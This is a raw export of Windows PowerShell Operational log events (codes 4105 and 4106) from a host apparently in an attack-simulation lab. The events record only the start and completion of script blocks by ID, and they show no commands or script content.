Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032202
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032201
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032196
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032195
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032171
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032170
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032169
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032168
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
